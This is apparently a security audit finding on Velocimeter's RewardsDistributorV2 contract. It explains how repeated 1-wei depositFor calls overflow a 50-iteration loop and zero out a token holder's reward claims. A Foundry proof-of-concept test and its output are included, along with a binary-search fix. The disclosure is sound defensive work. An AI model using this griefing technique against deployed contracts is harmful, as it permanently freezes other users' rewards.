Fast Black Eel

High

# DOS attack on RewardDistributor claims  through excess amount of userPoint creation

## Summary
A malicious user can DoS (permanently lock) rewardDistributor owner's claims, by creating certain amount of `userPointHistory` entries by calling `VotingEscrow.depositFor()` on a target nft token multiple times.

## Vulnerability Detail
`RewardDistributor` claims are calculated in the `_claim` and `_claimable()` function. The calculation first involves finding the last `userPoint` which was taken before the last `weekCursor`. This is done through a `for` loop that cycles from the last `userEpoch` until it finds one. The loop can cycle up to 50 times:
In `contracts/RewardsDistributorV2.sol`
```solidity
//...//
@-->for (uint i = 0; i < 50; i++) {
            if (week_cursor >= _last_token_time) break;

            if (week_cursor >= user_point.ts && user_epoch <= max_user_epoch) {
                user_epoch += 1;
                old_user_point = user_point;
                if (user_epoch > max_user_epoch) {
                    user_point = IVotingEscrow.Point(0,0,0,0);
                } else {
                    user_point = IVotingEscrow(ve).user_point_history(_tokenId, user_epoch);
                }
@-->            } else { // this else statement will not run because user_epoch <= max_user_epoch will be always true
                int128 dt = int128(int256(week_cursor - old_user_point.ts));
                uint balance_of = Math.max(uint(int256(old_user_point.bias - dt * old_user_point.slope)), 0);
                if (balance_of == 0 && user_epoch > max_user_epoch) break;
                if (balance_of != 0) {
                    to_distribute += balance_of * tokens_per_week[week_cursor] / ve_supply[week_cursor];
                }
                week_cursor += WEEK;
            }
        }
//...//
```
hence if there are more `userPoints` than 50 the `_claimable()` and `_claim()` function will return 0 as `toDistribute`. 

A malicious user can call the `VotingEscrow.depositFor()` on the attacked VotingEscrow NFT token multiple times and can deposit minimum amount tokens (1 wei is enough), this way he can create the `userPoints` that will DoS the function.

## Impact
* Permanent freezing of unclaimed reward, The VotingEscrow NFT token holder loses irreversibly all claims. 
## Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/RewardsDistributorV2.sol#L195-L215
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/RewardsDistributorV2.sol#L252-L272

## POC
```solidity
function testPOC_Dos_CLaims() public {
        initializeVotingEscrow();
        minter.update_period();
        assertEq(minter.weekly_emission(), 2000e18);

        address bob = address(0xb0b);
        flowDaiPair.approve(address(escrow),1e18);
        uint token_id3 = escrow.create_lock_for(1e18,52 weeks,bob);

        // bob attacks tokenId 1 by depositing 1 wei and creating excess userPoint
        flowDaiPair.transfer(bob, 60);
        vm.prank(bob);
        flowDaiPair.approve(address(escrow),60);
        
        for (uint256 i; i < 55; i++) {
            vm.prank(bob);
            escrow.deposit_for(1, 1);
        }

        // move forward few epochs

        DAI.transfer(address(distributor), 10*TOKEN_1);
        _elapseOneWeek();
        minter.update_period();
      

        DAI.transfer(address(distributor), 10*TOKEN_1);
        _elapseOneWeek();
        minter.update_period();

        
        DAI.transfer(address(distributor), 10*TOKEN_1);
        _elapseOneWeek();
        minter.update_period();
        

        uint claimed_t1 = distributor.claim(1);
        uint claimed_t2 = distributor.claim(2);
        vm.prank(bob);
        uint claimed_t3 = distributor.claim(token_id3);
        console.log("claimable on tokenId1: %d", claimed_t1);
        console.log("claimable on tokenId2: %d", claimed_t2);
        console.log("claimable on tokenId3: %d", claimed_t3);
    }
```
OUTPUT
```solidity
[PASS] testPOC_Dos_CLaims() (gas: 68722812)
Logs:
  claimable on tokenId1: 0
  claimable on tokenId2: 6666666666657553811
  claimable on tokenId3: 6666666666657553811
```

## Tool used

Manual Review

## Recommendation
* A possible solution would be to use binary search like in other places in the system.